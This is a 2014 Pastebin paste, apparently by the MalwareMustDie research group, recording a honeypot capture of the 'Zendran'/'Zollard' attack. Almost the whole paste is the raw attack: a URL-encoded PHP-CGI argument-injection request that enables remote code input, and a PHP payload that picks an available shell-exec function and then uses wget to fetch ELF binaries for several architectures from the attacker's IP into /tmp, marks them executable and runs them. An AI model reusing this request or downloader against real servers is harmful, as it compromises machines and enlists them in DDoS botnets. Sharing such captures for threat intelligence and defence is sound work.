SHARE
TWEET

Zendran DDoS'er ELF Installer Script

MalwareMustDie Jun 6th, 2014 325 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // #MalwareMustDie
  2. // Zendran on the run! Fuckin evidence is here;
  3.  
  4.     Connecting to database
  5.     Returning info for attack ID: 1665
  6.      
  7.     Date: 2014-06-05 18:42:11
  8.     Attacker: 220.132.216.243:54568
  9.     Request: /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
  10.      
  11.     *** Raw Request ***
  12.     POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
  13.     Connection: close
  14.     Content-Length: 1833
  15.     Content-Type: application/x-www-form-urlencoded
  16.     Host: :D
  17.     User-Agent: Mozilla/5.0 (compatible; Zollard; Linux)
  18.      
  19.     <?php
  20.     echo "Zollard";
  21.     $disablefunc = @ini_get("disable_functions");
  22.     if (!empty($disablefunc))
  23.     {
  24.      $disablefunc = str_replace(" ","",$disablefunc);
  25.      $disablefunc = explode(",",$disablefunc);
  26.     }
  27.     function myshellexec($cmd)
  28.     {
  29.      global $disablefunc;
  30.      $result = "";
  31.      if (!empty($cmd))
  32.      {
  33.       if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  34.       elseif (($result = `$cmd`) !== FALSE) {}
  35.       elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  36.       elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  37.       elseif (is_resource($fp = popen($cmd,"r")))
  38.       {
  39.        $result = "";
  40.        while(!feof($fp)) {$result .= fread($fp,1024);}
  41.        pclose($fp);
  42.       }
  43.      }
  44.      return $result;
  45.     }
  46.     myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://220.132.216.243:58455/armeabi;chmod +x /tmp/armeabi");
  47.     myshellexec("rm -rf /tmp/arm;wget -P /tmp http://220.132.216.243:58455/arm;chmod +x /tmp/arm");
  48.     myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://220.132.216.243:58455/ppc;chmod +x /tmp/ppc");
  49.     myshellexec("rm -rf /tmp/mips;wget -P /tmp http://220.132.216.243:58455/mips;chmod +x /tmp/mips");
  50.     myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://220.132.216.243:58455/mipsel;chmod +x /tmp/mipsel");
  51.     myshellexec("rm -rf /tmp/x86;wget -P /tmp http://220.132.216.243:58455/x86;chmod +x /tmp/x86");
  52.     myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://220.132.216.243:58455/nodes;chmod +x /tmp/nodes");
  53.     myshellexec("rm -rf /tmp/sig;wget -P /tmp http://220.132.216.243:58455/sig;chmod +x /tmp/sig");
  54.     myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
  55.     ?>
  56.     --------------------------------------------------------------------------------
RAW Paste Data
Top